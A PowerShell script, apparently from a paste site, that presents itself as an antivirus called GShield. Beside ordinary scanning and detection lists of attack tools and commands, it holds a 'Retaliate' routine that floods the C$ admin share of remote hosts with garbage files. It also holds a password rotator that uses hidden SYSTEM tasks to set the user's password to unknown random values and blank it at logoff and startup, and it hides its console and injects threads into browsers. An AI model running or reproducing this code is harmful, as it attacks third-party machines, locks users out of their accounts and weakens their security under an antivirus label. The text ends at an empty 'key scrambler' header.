GShield
unknown
powershell
a month ago
43 kB
8
Indexable
# GShield.ps1
# Author: Gorstak
#Requires -RunAsAdministrator
param(
[string[]]$Path,
[int]$IntervalMinutes = 60,
[int]$RootkitPollSeconds = 20,
[int]$RootkitLookbackSeconds = 60
)
# ==================== CONFIG ====================
$InstallDir = "$env:ProgramData\Antivirus"
$LogDir = "$InstallDir\logs"
$QuarDir = "$InstallDir\quarantine"
$LogFile = "$LogDir\scanner.log"
$HashCacheFile = "$InstallDir\cache.csv"
$PwRotatorDir = "C:\ProgramData\PasswordRotator"
$Ext = @('*.exe','*.dll','*.ocx','*.winmd','*.ps1','*.vbs','*.js','*.bat','*.cmd','*.scr','*.msi')
$Exclusions = @(
"$env:ProgramFiles",
"$env:ProgramFiles(x86)",
"$env:windir",
"$InstallDir",
"C:\Windows\System32",
"C:\Windows\SysWOW64",
"C:\ProgramData",
"$env:USERPROFILE\AppData\Local\Temp",
"$env:USERPROFILE\AppData\Local\Microsoft"
)
$BrowserNames = @('chrome','msedge','firefox','opera','brave','vivaldi','iexplore','waterfox',
'palemoon','seamonkey','librewolf','tor','chromium','maxthon','yandex','avastbrowser')
$RootkitWhitelist = @(
"system","system idle process","idle","svchost","lsass","wininit",
"winlogon","services","smss","csrss","fontdrvhost","sihost","dwm"
)
# Retaliate state
$script:AllowedIPs = @()
$script:AllowedDomains = @()
$script:RetaliatedConnections = @{}
$script:CurrentBrowserConns = @{}
$NeverRetaliateIPs = @('8.8.8.8','8.8.4.4','1.1.1.1','1.0.0.1')
# ==================== LOGGING ====================
function Write-Log {
param([string]$Message, [string]$Level = 'INFO')
$ts = Get-Date -Format 'yyyy-MM-dd HH:mm:ss'
"$ts [$Level] $Message" | Add-Content $LogFile -Force -EA 0
if ($Level -eq 'ALERT') { Write-Host $Message -ForegroundColor Red }
elseif ($Level -eq 'WARN') { Write-Host $Message -ForegroundColor Yellow }
elseif ($Level -eq 'CYAN') { Write-Host $Message -ForegroundColor Cyan }
else { Write-Host $Message }
}
# ==================== HELPERS ====================
function Get-SHA256 { param($file); (Get-FileHash $file -Algorithm SHA256).Hash }
function Test-Excluded { param($p)
$p = $p.ToLower()
foreach ($ex in $Exclusions) { if ($p.StartsWith($ex.ToLower())) { return $true } }
$false
}
function Get-CommandLine { param($pid)
try { (Get-WmiObject Win32_Process -Filter "ProcessId=$pid").CommandLine } catch { "" }
}
function Test-FileSigned { param($path)
try {
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2($path)
$chain = New-Object System.Security.Cryptography.X509Certificates.X509Chain
$chain.ChainPolicy.RevocationMode = "NoCheck"
return $chain.Build($cert)
} catch { return $false }
}
# ==================== SELF-PROTECTION ====================
function Invoke-SelfProtection {
$currentPID = $PID
Get-Process -Name "powershell" -EA 0 | Where-Object { $_.Id -ne $currentPID } | ForEach-Object {
try {
$cmd = Get-CommandLine $_.Id
if ($cmd -like "*GShield.ps1*") {
Stop-Process -Id $_.Id -Force -EA 0
Write-Log "Killed duplicate GShield instance (PID $($_.Id))" "WARN"
}
} catch {}
}
try {
Add-Type -Name Win32Hide -Namespace Win32 -MemberDefinition @"
[DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
"@ -EA 0
$hwnd = [Win32.Win32Hide]::GetConsoleWindow()
if ($hwnd) { [Win32.Win32Hide]::ShowWindow($hwnd, 0) | Out-Null }
} catch {}
}
# ==================== HASH CACHE ====================
$global:HashCache = @{}
$global:CacheDirty = $false
function Load-Cache {
if (!(Test-Path $HashCacheFile)) { return }
try {
Import-Csv $HashCacheFile | ForEach-Object {
try {
$global:HashCache[$_.Path] = [pscustomobject]@{
Hash = $_.Hash
Status = $_.Status
LastModified = [datetime]::ParseExact($_.LastModified,"yyyy-MM-dd HH:mm:ss",$null)
}
} catch {}
}
} catch {}
}
function Save-Cache {
if (-not $global:CacheDirty) { return }
$global:HashCache.GetEnumerator() | ForEach-Object {
[pscustomobject]@{
Path = $_.Key
Hash = $_.Value.Hash
Status = $_.Value.Status
LastModified = $_.Value.LastModified.ToString("yyyy-MM-dd HH:mm:ss")
}
} | Export-Csv $HashCacheFile -NoTypeInformation -Force
$global:CacheDirty = $false
}
function Test-CacheHit { param($file)
$cached = $global:HashCache[$file.FullName]
if (-not $cached) { return $false }
if ($cached.LastModified -lt $file.LastWriteTime) { return $false }
return $cached.Status -eq 'clean'
}
function Update-Cache { param($file, $hash, $status)
$global:HashCache[$file.FullName] = [pscustomobject]@{
Hash = $hash
Status = $status
LastModified = $file.LastWriteTime
}
$global:CacheDirty = $true
}
# ==================== AMSI ====================
if (-not ([System.Management.Automation.PSTypeName]'Amsi').Type) {
Add-Type -TypeDefinition @'
using System; using System.Runtime.InteropServices;
public class Amsi {
[DllImport("amsi.dll")] public static extern int AmsiInitialize(string a, out IntPtr c);
[DllImport("amsi.dll")] public static extern int AmsiScanString(IntPtr c, string s, string n, string sess, out IntPtr r);
[DllImport("amsi.dll")] public static extern void AmsiUninitialize(IntPtr c);
public static int Scan(string s) {
IntPtr ctx, rs; int hr = AmsiInitialize("GShield", out ctx);
if (hr != 0) return 0;
AmsiScanString(ctx, s, "", "", out rs); int res = (int)rs;
AmsiUninitialize(ctx); return res;
}
}
'@ -ErrorAction SilentlyContinue
}
function Test-Amsi { param([string]$c); if (!$c) { return 0 }; return [Amsi]::Scan($c) -ge 1 }
# ==================== MEMORY SCANNER (v2.9 - Stronger) ====================
if (-not ([System.Management.Automation.PSTypeName]'MemScanner').Type) {
Add-Type -TypeDefinition @'
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
public class MemScanner {
[DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(uint access, bool inherit, int pid);
[DllImport("kernel32.dll")] public static extern bool ReadProcessMemory(IntPtr hProc, IntPtr baseAddr, byte[] buffer, int size, out int bytesRead);
[DllImport("kernel32.dll")] public static extern bool CloseHandle(IntPtr h);
const uint PROCESS_VM_READ = 0x0010;
public static List<string> ScanProcess(int pid) {
var findings = new List<string>();
IntPtr hProc = OpenProcess(PROCESS_VM_READ, false, pid);
if (hProc == IntPtr.Zero) return findings;
try {
byte[] buffer = new byte[32768];
int bytesRead;
Process proc = Process.GetProcessById(pid);
foreach (ProcessModule mod in proc.Modules) {
try {
long scanSize = Math.Min(0x200000, (long)mod.ModuleMemorySize);
for (long offset = 0; offset < scanSize; offset += 16384) {
ReadProcessMemory(hProc, (IntPtr)((long)mod.BaseAddress + offset), buffer, buffer.Length, out bytesRead);
if (bytesRead == 0) break;
string text = Encoding.ASCII.GetString(buffer, 0, bytesRead).ToLower();
if (text.Contains("virtualalloc") || text.Contains("createremotethread") ||
text.Contains("frombase64string") || text.Contains("downloadstring") ||
text.Contains("iex(") || text.Contains("-ep bypass") ||
text.Contains("urldownloadtofile") || text.Contains("shellcode") ||
text.Contains("rundll") || text.Contains("reflective")) {
findings.Add(mod.ModuleName); break;
}
}
} catch { }
}
} finally { CloseHandle(hProc); }
return findings;
}
}
'@
}
function Invoke-MemoryScan {
Get-Process -EA 0 | Where-Object { $_.Path -and !(Test-Excluded $_.Path) -and $_.Id -ne $PID } | ForEach-Object {
try {
$findings = [MemScanner]::ScanProcess($_.Id)
if ($findings.Count -gt 0) {
Write-Log "MEMORY DETECTION: $($_.ProcessName) (PID $($_.Id)) - Suspicious code in: $($findings -join ',')" "ALERT"
}
} catch {}
}
}
# ==================== BROWSER MODULE GUARD (Aggressive) ====================
if (-not ([System.Management.Automation.PSTypeName]'ModuleGuard').Type) {
Add-Type -TypeDefinition @'
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class ModuleGuard {
[DllImport("kernel32.dll", SetLastError=true)] static extern IntPtr OpenProcess(uint access, bool inherit, int pid);
[DllImport("kernel32.dll", SetLastError=true)] static extern bool CloseHandle(IntPtr h);
[DllImport("kernel32.dll", SetLastError=true)] static extern IntPtr GetProcAddress(IntPtr mod, string proc);
[DllImport("kernel32.dll", SetLastError=true)] static extern IntPtr CreateRemoteThread(IntPtr proc, IntPtr attr, uint stackSize, IntPtr start, IntPtr param, uint flags, out uint tid);
[DllImport("kernel32.dll", SetLastError=true)] static extern uint WaitForSingleObject(IntPtr h, uint ms);
const uint PROCESS_ALL_ACCESS = 0x1F0FFF;
static bool IsSigned(string path) {
try {
var cert = new X509Certificate2(path);
var chain = new X509Chain();
chain.ChainPolicy.RevocationMode = X509RevocationMode.NoCheck;
return chain.Build(cert);
} catch { return false; }
}
public static List<string> UnloadUnsignedModules(int pid) {
var unloaded = new List<string>();
Process proc; try { proc = Process.GetProcessById(pid); } catch { return unloaded; }
IntPtr hProc = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (hProc == IntPtr.Zero) return unloaded;
try {
IntPtr kernel32 = IntPtr.Zero;
foreach (ProcessModule m in proc.Modules) {
if (m.ModuleName.ToLower() == "kernel32.dll") { kernel32 = m.BaseAddress; break; }
}
if (kernel32 == IntPtr.Zero) return unloaded;
IntPtr freeLibAddr = GetProcAddress(kernel32, "FreeLibrary");
if (freeLibAddr == IntPtr.Zero) return unloaded;
foreach (ProcessModule mod in proc.Modules) {
try {
string path = mod.FileName;
string name = mod.ModuleName.ToLower();
if (path.ToLower() == proc.MainModule.FileName.ToLower()) continue;
if (name == "ntdll.dll" || name == "kernel32.dll" || name == "kernelbase.dll") continue;
if (name.Contains("appx") || name.Contains("edgewebview") || name.Contains("msedge")) continue;
if (!IsSigned(path)) {
uint tid;
IntPtr hThread = CreateRemoteThread(hProc, IntPtr.Zero, 0, freeLibAddr, mod.BaseAddress, 0, out tid);
if (hThread != IntPtr.Zero) {
WaitForSingleObject(hThread, 1500);
CloseHandle(hThread);
unloaded.Add(path);
}
}
} catch { }
}
} finally { CloseHandle(hProc); }
return unloaded;
}
}
'@
}
function Invoke-BrowserModuleGuard {
foreach ($name in $BrowserNames) {
Get-Process -Name $name -EA 0 | ForEach-Object {
$removed = [ModuleGuard]::UnloadUnsignedModules($_.Id)
foreach ($mod in $removed) {
Write-Log "UNLOADED unsigned browser module: $mod (from $($_.ProcessName) PID $($_.Id))" "ALERT"
}
}
}
}
# Continuous per-PID module monitor — runs in a background runspace at 500ms intervals
# Tracks which modules have already been checked per PID so it only acts on newly loaded ones
function Start-ContinuousModuleMonitor {
$rs = [runspacefactory]::CreateRunspace()
$rs.ApartmentState = 'STA'
$rs.ThreadOptions = 'ReuseThread'
$rs.Open()
$rs.SessionStateProxy.SetVariable('BrowserNames', $BrowserNames)
$rs.SessionStateProxy.SetVariable('LogFile', $LogFile)
$ps = [powershell]::Create()
$ps.Runspace = $rs
[void]$ps.AddScript({
function Write-BgLog { param([string]$M)
"$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') [ALERT] $M" | Add-Content $LogFile -Force -EA 0
}
$KnownModules = @{}
while ($true) {
foreach ($name in $BrowserNames) {
$procs = Get-Process -Name $name -EA 0
foreach ($proc in $procs) {
$pid = $proc.Id
if (-not $KnownModules.ContainsKey($pid)) {
$KnownModules[$pid] = [System.Collections.Generic.HashSet[string]]::new(
[System.StringComparer]::OrdinalIgnoreCase)
}
try { $modules = $proc.Modules } catch { continue }
foreach ($mod in $modules) {
$mp = $mod.FileName
if ($KnownModules[$pid].Contains($mp)) { continue }
# New module — check and eject if unsigned
$removed = [ModuleGuard]::UnloadUnsignedModules($pid)
foreach ($r in $removed) {
Write-BgLog "CONTINUOUS-MONITOR: Unloaded unsigned module $r from $($proc.ProcessName) PID $pid"
[void]$KnownModules[$pid].Add($r)
}
[void]$KnownModules[$pid].Add($mp)
}
}
}
# Prune dead PIDs
$live = (Get-Process -EA 0).Id
@($KnownModules.Keys | Where-Object { $live -notcontains $_ }) | ForEach-Object { $KnownModules.Remove($_) }
Start-Sleep -Milliseconds 500
}
})
$ps.BeginInvoke() | Out-Null
Write-Log "Continuous browser module monitor started (background runspace)" "CYAN"
}
# ==================== DEEP FILE SCANNER ====================
# Scoring thresholds
$script:QuarantineScore = 60 # score >= this = quarantine
$script:SuspectScore = 30 # score >= this = log as suspicious
# Known packer/protector signatures (PE section names or stub strings)
$PackerSigs = @(
'UPX0','UPX1','UPX2', # UPX
'.ndata', # NSIS
'ASPack','ASProtect',
'Themida','WinLicense',
'PECompact','PELock',
'Obsidium','Enigma',
'MPRESS','Petite',
'.vmp0','.vmp1', # VMProtect
'ConfuserEx','de4dot',
'SmartAssembly'
)
# Shellcode / injection string IOCs (appear in binaries and scripts)
$ShellcodeIOCs = @(
'\xfc\xe8','\x60\x89', # common shellcode prologues (ASCII repr)
'shellcode','shell_code',
'payload','stager',
'meterpreter','metasploit',
'cobalt strike','cobaltstrike',
'beacon','cs_beacon',
'mimikatz','sekurlsa',
'lsadump','hashdump',
'invoke-mimikatz',
'powersploit','powerup',
'empire','invoke-empire',
'nishang','invoke-nishang',
'sharpshooter','donutshellcode',
'donut_shellcode',
'reflectivedllinjection',
'reflective_dll',
'inject_dll','dllinjection',
'process_hollow','processhollowing',
'process hollowing',
'runpe','run_pe',
'heavensgate','heaven.s.gate',
'syscall_stub','direct_syscall',
'ntdll_unhook','unhook_ntdll',
'patch_amsi','amsi_bypass',
'amsibypass','amsi.bypass',
'etw_patch','patch_etw',
'disable_etw',
'wscript.shell','shell.application',
'certutil -decode','certutil.exe -decode',
'bitsadmin /transfer',
'regsvr32 /s /n /u /i:http',
'mshta http','mshta.exe http',
'wmic process call create',
'cmd /c powershell',
'powershell -w hidden',
'powershell -windowstyle hidden',
'-nop -w hidden -enc',
'-noprofile -noninteractive -enc'
)
# Suspicious API combinations (in binaries — these together indicate injection)
$InjectionAPIs = @(
'VirtualAllocEx','WriteProcessMemory','CreateRemoteThread',
'NtCreateThreadEx','RtlCreateUserThread',
'NtUnmapViewOfSection','NtMapViewOfSection',
'QueueUserAPC','NtQueueApcThread',
'SetWindowsHookEx','GetAsyncKeyState', # keylogger
'SetThreadContext','GetThreadContext',
'VirtualProtectEx','NtProtectVirtualMemory'
)
# C2 / download IOCs
$C2IOCs = @(
'URLDownloadToFile','URLDownloadToCacheFile',
'InternetOpenUrl','HttpSendRequest',
'WinHttpOpen','WinHttpSendRequest',
'DownloadString','DownloadData','DownloadFile',
'Net.WebClient','WebRequest',
'Invoke-WebRequest','wget ','curl ',
'socket.connect','TCPClient',
'dns.resolve','nslookup'
)
# Obfuscation IOCs (scripts and binaries)
$ObfIOCs = @(
'FromBase64String','ToBase64String',
'Convert]::FromBase64',
'[char[]]','[char](','[byte[]](',
'-join[char','join([char',
'replace(.*,.*)',
'-bxor','-bnot','-shl','-shr',
'Invoke-Expression','IEX(',
'[ScriptBlock]::Create',
'EncodedCommand','-EncodedC',
'GZipStream','DeflateStream',
'MemoryStream','BinaryReader',
'Reflection.Assembly','Assembly.Load',
'System.Reflection.Emit',
'[Runtime.InteropServices',
'DllImport','GetDelegateForFunctionPointer',
'Marshal.Copy','Marshal.GetFunctionPointerForDelegate',
'VirtualAlloc','VirtualProtect'
)
function Get-Entropy { param([byte[]]$b)
if (!$b -or !$b.Length) { return 0.0 }
$f = @{}
foreach ($c in $b) { $f[$c]++ }
$e = 0.0
foreach ($c in $f.Keys) { $p = $f[$c] / $b.Length; $e -= $p * [Math]::Log($p, 2) }
return $e
}
function Invoke-DeepScan {
param([string]$FilePath)
$score = 0
$reasons = [System.Collections.Generic.List[string]]::new()
$ext = [IO.Path]::GetExtension($FilePath).ToLower()
$isBinary = $ext -in '.exe','.dll','.ocx','.scr','.msi','.winmd'
$isScript = $ext -in '.ps1','.vbs','.js','.bat','.cmd'
# --- Try to read the file ---
$bytes = $null
$strAscii = ''
$strUtf16 = ''
$readable = $false
try {
$bytes = [IO.File]::ReadAllBytes($FilePath)
$strAscii = [Text.Encoding]::ASCII.GetString($bytes).ToLower()
$strUtf16 = [Text.Encoding]::Unicode.GetString($bytes).ToLower()
$readable = $true
} catch {
# Can't read = locked/encrypted/packed — treat as suspicious
$score += 40
$reasons.Add("unreadable-file")
}
if ($readable) {
$combined = $strAscii + $strUtf16
# --- Entropy check ---
$entropy = Get-Entropy $bytes
if ($entropy -gt 7.8) {
$score += 25; $reasons.Add("entropy=$([Math]::Round($entropy,2))")
} elseif ($entropy -gt 7.2) {
$score += 10; $reasons.Add("entropy-elevated=$([Math]::Round($entropy,2))")
}
# --- Zero readable strings in a binary (packed/encrypted) ---
if ($isBinary) {
# Count printable ASCII runs >= 6 chars
$printableRuns = ([regex]::Matches($strAscii, '[!-~]{6,}')).Count
if ($printableRuns -lt 10) {
$score += 30; $reasons.Add("no-readable-strings")
}
# PE header present?
$hasMZ = $bytes.Length -gt 1 -and $bytes[0] -eq 0x4D -and $bytes[1] -eq 0x5A
if ($hasMZ) {
# Check for packer signatures in section names / stub
foreach ($sig in $PackerSigs) {
if ($combined.Contains($sig.ToLower())) {
$score += 20; $reasons.Add("packer:$sig"); break
}
}
# Injection API combos — score per API found, more = worse
$apiHits = 0
foreach ($api in $InjectionAPIs) {
if ($combined.Contains($api.ToLower())) { $apiHits++ }
}
if ($apiHits -ge 4) { $score += 35; $reasons.Add("injection-api-combo:$apiHits") }
elseif ($apiHits -ge 2) { $score += 15; $reasons.Add("injection-apis:$apiHits") }
}
}
# --- Shellcode / framework IOCs (binaries and scripts) ---
$shellHits = 0
foreach ($ioc in $ShellcodeIOCs) {
if ($combined.Contains($ioc.ToLower())) { $shellHits++ }
}
if ($shellHits -ge 3) { $score += 50; $reasons.Add("shellcode-iocs:$shellHits") }
elseif ($shellHits -ge 1) { $score += 20; $reasons.Add("shellcode-ioc:$shellHits") }
# --- C2 / download IOCs ---
$c2Hits = 0
foreach ($ioc in $C2IOCs) {
if ($combined.Contains($ioc.ToLower())) { $c2Hits++ }
}
if ($c2Hits -ge 3) { $score += 30; $reasons.Add("c2-iocs:$c2Hits") }
elseif ($c2Hits -ge 1) { $score += 10; $reasons.Add("c2-ioc:$c2Hits") }
# --- Obfuscation IOCs ---
$obfHits = 0
foreach ($ioc in $ObfIOCs) {
if ($combined.Contains($ioc.ToLower())) { $obfHits++ }
}
if ($obfHits -ge 4) { $score += 35; $reasons.Add("obf-iocs:$obfHits") }
elseif ($obfHits -ge 2) { $score += 15; $reasons.Add("obf-ioc:$obfHits") }
# --- Script-specific: long base64 blobs ---
if ($isScript) {
$b64Matches = ([regex]::Matches($combined, '[a-z0-9+/]{200,}={0,2}')).Count
if ($b64Matches -gt 0) { $score += 25; $reasons.Add("b64-blob:$b64Matches") }
}
# --- Temp/suspicious location bonus ---
if ($FilePath -like "*\Temp\*" -or $FilePath -like "*\AppData\Roaming\*") {
$score += 10; $reasons.Add("suspicious-location")
}
}
return [pscustomobject]@{
Score = $score
Reasons = ($reasons -join ', ')
}
}
function Invoke-Scan { param([string]$p)
Get-ChildItem $p -Recurse -Include $Ext -File -EA 0 |
Where-Object { -not (Test-Excluded $_.FullName) } | ForEach-Object {
$f = $_
if (Test-CacheHit $f) { return }
$hash = Get-SHA256 $f.FullName
$result = Invoke-DeepScan $f.FullName
$isMalicious = $false
if ($result.Score -ge $script:QuarantineScore) {
Write-Log "THREAT [score=$($result.Score)]: $($f.FullName) | $($result.Reasons)" "ALERT"
Move-Item $f.FullName "$QuarDir\$($f.Name)" -Force -EA 0
$isMalicious = $true
} elseif ($result.Score -ge $script:SuspectScore) {
Write-Log "SUSPICIOUS [score=$($result.Score)]: $($f.FullName) | $($result.Reasons)" "WARN"
}
# AMSI scan for scripts regardless of score
if (-not $isMalicious -and $f.Extension -in '.ps1','.vbs','.js') {
$content = Get-Content $f.FullName -Raw -EA 0
if ($content -and (Test-Amsi $content)) {
Write-Log "THREAT (AMSI): $($f.FullName)" "ALERT"
Move-Item $f.FullName "$QuarDir\$($f.Name)" -Force -EA 0
$isMalicious = $true
}
}
$status = if ($isMalicious) { 'malicious' } else { 'clean' }
Update-Cache $f $hash $status
}
Write-Log "Scan completed: $p"
}
# ==================== ROOTKIT KILLER ====================
function Invoke-RootkitScan {
try {
$start = (Get-Date).AddSeconds(-$RootkitLookbackSeconds)
$events = Get-WinEvent -FilterHashtable @{
ProviderName = "Microsoft-Windows-HttpService"
StartTime = $start
} -EA SilentlyContinue
if (-not $events) { return }
$candidatePids = New-Object System.Collections.Generic.HashSet[int]
foreach ($evt in $events) {
foreach ($prop in $evt.Properties) {
$pid = 0
if ([int]::TryParse("$($prop.Value)", [ref]$pid) -and $pid -gt 4) {
[void]$candidatePids.Add($pid)
}
}
}
foreach ($pid in $candidatePids) {
$proc = Get-Process -Id $pid -EA SilentlyContinue
if (-not $proc) { continue }
$name = $proc.ProcessName.ToLowerInvariant()
if ($RootkitWhitelist -contains $name) { continue }
$path = try { $proc.MainModule.FileName } catch { $null }
$sig = if ($path) { Get-AuthenticodeSignature -FilePath $path -EA SilentlyContinue } else { $null }
if ($sig -and $sig.Status -eq 'Valid') { continue }
Write-Log "ROOTKIT: Killing unsigned HTTP-active process $($proc.ProcessName) (PID $pid) Path: $path" "ALERT"
Stop-Process -Id $pid -Force -EA SilentlyContinue
}
} catch {}
}
# ==================== RETALIATE ====================
function Test-IsActiveBrowsing { param([string]$RemoteAddress, [string]$ProcessName, [int]$RemotePort)
if ($BrowserNames -notcontains $ProcessName.ToLower()) { return $false }
if ($RemoteAddress -match '^(127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)') { return $true }
if ($NeverRetaliateIPs -contains $RemoteAddress) { return $true }
if ($script:AllowedIPs -contains $RemoteAddress) { return $true }
$now = Get-Date
if ($RemotePort -eq 443 -or $RemotePort -eq 80) {
$script:CurrentBrowserConns[$RemoteAddress] = $now
return $true
}
foreach ($ip in $script:CurrentBrowserConns.Keys) {
if (($now - $script:CurrentBrowserConns[$ip]).TotalSeconds -le 30) { return $true }
}
return $false
}
function Invoke-Retaliate { param([string]$RemoteAddress, [int]$RemotePort, [string]$ProcessName)
$key = "$RemoteAddress|$ProcessName"
if ($script:RetaliatedConnections.ContainsKey($key)) { return }
Write-Log "RETALIATE: Phoning-home detected $RemoteAddress`:$RemotePort from $ProcessName" "ALERT"
$script:RetaliatedConnections[$key] = @{ IP = $RemoteAddress; Port = $RemotePort; Process = $ProcessName; Timestamp = Get-Date }
# Attempt to flood attacker's admin share (best-effort, will silently fail if unreachable)
try {
$remotePath = "\\$RemoteAddress\C$"
if (Test-Path $remotePath -EA SilentlyContinue) {
$counter = 1
while ($counter -le 10) {
try {
$garbage = [byte[]]::new(10485760)
(New-Object System.Random).NextBytes($garbage)
[System.IO.File]::WriteAllBytes("$remotePath\garbage_$counter.dat", $garbage)
$counter++
} catch { break }
}
}
} catch {}
}
function Invoke-RetaliateMonitorCycle {
$conns = Get-NetTCPConnection -State Established -EA SilentlyContinue |
Where-Object { $_.RemoteAddress -ne '0.0.0.0' -and $_.RemoteAddress -ne '::' }
foreach ($conn in $conns) {
try {
$proc = Get-Process -Id $conn.OwningProcess -EA Stop
$procName = ($proc.ProcessName -replace '\.exe$','').Trim().ToLower()
if ($BrowserNames -notcontains $procName) { continue }
if (!(Test-IsActiveBrowsing -RemoteAddress $conn.RemoteAddress -ProcessName $proc.ProcessName -RemotePort $conn.RemotePort)) {
Invoke-Retaliate -RemoteAddress $conn.RemoteAddress -RemotePort $conn.RemotePort -ProcessName $proc.ProcessName
}
} catch {}
}
# Expire stale browser connection cache
$now = Get-Date
$stale = $script:CurrentBrowserConns.Keys | Where-Object { ($now - $script:CurrentBrowserConns[$_]).TotalSeconds -gt 60 }
$stale | ForEach-Object { $script:CurrentBrowserConns.Remove($_) }
}
# ==================== PASSWORD ROTATOR ====================
$PwRotatorWorkerScript = @'
param([string]$Mode, [string]$Username)
$ErrorActionPreference = 'Stop'
$TargetDir = if ($PSScriptRoot) { $PSScriptRoot } else { 'C:\ProgramData\PasswordRotator' }
$UserFile = Join-Path $TargetDir 'currentuser.txt'
function Get-LoggedInUser {
$u = $null
try { $u = (Get-CimInstance -ClassName Win32_ComputerSystem -EA Stop).UserName } catch {}
if (-not $u) { try { $u = $env:USERNAME } catch {} }
if (-not $u) { return $null }
if ($u -match '\\') { return $u.Split('\')[-1] }
return $u
}
function Set-UserPassword { param([string]$U, [string]$P)
if ([string]::IsNullOrWhiteSpace($U)) { return }
try { Set-LocalUser -Name $U -Password (ConvertTo-SecureString -String $P -AsPlainText -Force) -EA Stop }
catch {
try { [ADSI]$a = "WinNT://$env:COMPUTERNAME/$U,user"; $a.SetPassword($P) }
catch { "$(Get-Date -Format o) Set-UserPassword: $_" | Out-File (Join-Path $TargetDir 'log.txt') -Append }
}
}
function Set-UserPasswordBlank { param([string]$N)
if ([string]::IsNullOrWhiteSpace($N)) { return }
try { [ADSI]$a = "WinNT://$env:COMPUTERNAME/$N,user"; $a.SetPassword('') }
catch { try { & net user $N '' } catch { "$(Get-Date -Format o) Blank: $_" | Out-File (Join-Path $TargetDir 'log.txt') -Append } }
}
function New-RandomPwd {
$c = 'abcdefghijkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789!@#$%'
-join ((1..24) | ForEach-Object { $c[(Get-Random -Maximum $c.Length)] })
}
function Remove-TasksForUser { param([string]$U)
$s = $U -replace '[^a-zA-Z0-9]','_'
@("PasswordRotator-10Min-$s","PasswordRotator-OnLogoff-$s") | ForEach-Object {
Unregister-ScheduledTask -TaskName $_ -Confirm:$false -EA SilentlyContinue
}
}
switch ($Mode) {
'Logon' {
$u = Get-LoggedInUser; if (-not $u) { exit 0 }
if (-not (Test-Path $TargetDir)) { New-Item -Path $TargetDir -ItemType Directory -Force | Out-Null }
$u | Set-Content -Path $UserFile -Force
Remove-TasksForUser -U $u
$safe = $u -replace '[^a-zA-Z0-9]','_'
$worker = Join-Path $TargetDir 'Worker.ps1'
$principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest
$t10 = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(10) -RepetitionInterval (New-TimeSpan -Minutes 10) -RepetitionDuration (New-TimeSpan -Days 3650)
$a10 = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$worker`" -Mode Rotate"
Register-ScheduledTask -TaskName "PasswordRotator-10Min-$safe" -Action $a10 -Trigger $t10 -Principal $principal -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable) -Force | Out-Null
$tOff = New-ScheduledTaskTrigger -AtLogOff -User $u
$aOff = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$worker`" -Mode Logoff -Username $u"
Register-ScheduledTask -TaskName "PasswordRotator-OnLogoff-$safe" -Action $aOff -Trigger $tOff -Principal $principal -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -StartWhenAvailable) -Force | Out-Null
Start-Sleep -Seconds 60
Set-UserPassword -U $u -P (New-RandomPwd)
}
'Rotate' {
if (-not (Test-Path $UserFile)) { exit 0 }
$u = (Get-Content -Path $UserFile -Raw).Trim()
if ($u) { Set-UserPassword -U $u -P (New-RandomPwd) }
}
'Logoff' {
if ($Username) {
Set-UserPasswordBlank -N $Username
$s = $Username -replace '[^a-zA-Z0-9]','_'
Unregister-ScheduledTask -TaskName "PasswordRotator-10Min-$s" -Confirm:$false -EA SilentlyContinue
Unregister-ScheduledTask -TaskName "PasswordRotator-OnLogoff-$s" -Confirm:$false -EA SilentlyContinue
}
}
'StartupBlank' {
if (-not (Test-Path $UserFile)) { exit 0 }
$u = (Get-Content -Path $UserFile -Raw -EA SilentlyContinue).Trim()
if ($u) { Set-UserPasswordBlank -N $u }
}
}
'@
function Install-PasswordRotator {
if (-not (Test-Path $PwRotatorDir)) { New-Item -Path $PwRotatorDir -ItemType Directory -Force | Out-Null }
$workerPath = Join-Path $PwRotatorDir 'Worker.ps1'
$PwRotatorWorkerScript | Set-Content -Path $workerPath -Encoding UTF8 -Force
# Resolve current user robustly — WMI may fail in some contexts
$currentUser = $null
try { $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name } catch {}
if (-not $currentUser) { try { $currentUser = $env:USERNAME } catch {} }
if ($currentUser -match '\\') { $currentUser = $currentUser.Split('\')[-1] }
if (-not $currentUser) {
Write-Log "PasswordRotator: could not determine current user, skipping install" "WARN"
return
}
# Use schtasks.exe directly — avoids CIM/WMI class registration issues
$workerEscaped = $workerPath -replace '"','\"'
schtasks.exe /Delete /TN "PasswordRotator-OnLogon" /F 2>$null
schtasks.exe /Delete /TN "PasswordRotator-AtStartup" /F 2>$null
schtasks.exe /Create /TN "PasswordRotator-OnLogon" `
/TR "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$workerEscaped`" -Mode Logon" `
/SC ONLOGON /RU SYSTEM /RL HIGHEST /F 2>$null | Out-Null
schtasks.exe /Create /TN "PasswordRotator-AtStartup" `
/TR "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$workerEscaped`" -Mode StartupBlank" `
/SC ONSTART /RU SYSTEM /RL HIGHEST /F 2>$null | Out-Null
$currentUser | Set-Content -Path (Join-Path $PwRotatorDir 'currentuser.txt') -Force -EA SilentlyContinue
try {
[ADSI]$adsi = "WinNT://$env:COMPUTERNAME/$currentUser,user"
$adsi.SetPassword('')
} catch {}
Write-Log "PasswordRotator installed for user: $currentUser"
}
# ==================== KEY SCRAMBLER ====================
# Injects fake keystrokes around real ones to blind keyloggers
